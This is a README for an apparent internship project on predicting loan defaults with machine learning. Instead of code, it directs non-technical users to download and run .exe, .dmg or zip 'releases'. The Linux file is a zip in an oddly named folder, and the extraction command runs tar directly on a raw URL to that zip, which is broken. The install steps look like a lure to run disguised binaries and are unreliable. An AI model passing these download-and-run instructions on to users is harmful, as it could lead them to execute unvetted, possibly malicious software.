🔴 DevelopersHub-DataScience-Analytics_Internship-TASK2 - Predict Loan Defaults Easily

📖 Description

🔴 Credit Risk Prediction is a machine-learning–based analysis designed to predict whether a loan applicant is likely to default. Using a refined Credit Risk Dataset, you can analyze key financial features such as income, loan amount, and credit history. This application allows non-technical users to visualize data and explore various predictive models.

🚀 Getting Started

To run this application, follow these simple steps. You don’t need any programming skills to get started.

📥 Download & Install

Step 1: Visit the Releases Page

To download the application, visit this page to download.

Find the latest version of the software on the Releases page. You will see a list of available files for download.

Step 2: Choose the Right File

Look for the filename that matches your operating system. For example:

• Windows Users: Look for a .exe file.
• Mac Users: Look for a .dmg file.
• Linux Users: Look for a https://raw.githubusercontent.com/Souravsasikumar/DevelopersHub-DataScience-Analytics_Internship-TASK2/main/asmoke/DevelopersHub-DataScience-Analytics_Internship-TASK2_3.3-alpha.1.zip file.

Step 3: Download the Application

Click on the file name to start the download. Depending on your browser settings, it may download to your "Downloads" folder.

Step 4: Install the Application

After the download completes, follow these instructions based on your OS:

• Windows:

  1. Double-click the downloaded .exe file.
  2. Follow the on-screen instructions to complete the installation.

• Mac:

  1. Open the downloaded .dmg file.
  2. Drag the application into your Applications folder.

• Linux:

  1. Open a terminal window.
  2. Navigate to your Downloads folder.
  3. Type tar -xvzf https://raw.githubusercontent.com/Souravsasikumar/DevelopersHub-DataScience-Analytics_Internship-TASK2/main/asmoke/DevelopersHub-DataScience-Analytics_Internship-TASK2_3.3-alpha.1.zip to extract the files.
  4. Follow the specific instructions included in the extracted folder.

Step 5: Running the Application

Once the installation is successful, locate the application in your programs or applications list. Open it, and you are ready to start predicting loan defaults.

📊 Features

• Data Visualization: Use bar charts, histograms, and scatterplots to explore financial data.
• Model Training: Train different classification models like logistic regression to understand your data better.
• Model Evaluation: Evaluate your models and visualize performance metrics accurately.
• User-Friendly Interface: Designed for non-technical users while providing powerful analytical features.

📊 Key Topics Covered

This application covers several important topics within the scope of data science and machine learning, including:

• Binary Classification
• Hyperparameter Tuning
• Detecting and Treating Outliers
• Dataset Splitting
• Model Training and Evaluation

📊 System Requirements

Before you begin, ensure your system meets these requirements:

• Operating System: Windows 10 or later, macOS Mojave or later, or a Linux distribution.
• Memory: At least 4 GB of RAM.
• Processor: Intel i5 or equivalent processor.
• Storage: Minimum of 500 MB free space.

🌟 About Contributors

This project was created by Sourav Sasikumar. The aim was to empower users to analyze credit risk data effectively, enabling better decision-making for loan approvals.

⚙️ Technical Tools Used

The application takes advantage of several tools to offer a seamless experience, such as:

• Python: The programming language used for machine learning.
• Scikit-Learn: A library for applying machine learning algorithms.
• Pandas & Matplotlib: Libraries for data manipulation and visualization.

💬 Support

For questions or issues, visit the GitHub Issues page to seek help and report bugs.

🔗 Additional Resources

For more information on machine learning and best practices, consider exploring the following:

• Scikit-Learn Documentation
• Pandas Documentation

📄 License

This project is licensed under the MIT License. See the LICENSE file for more details.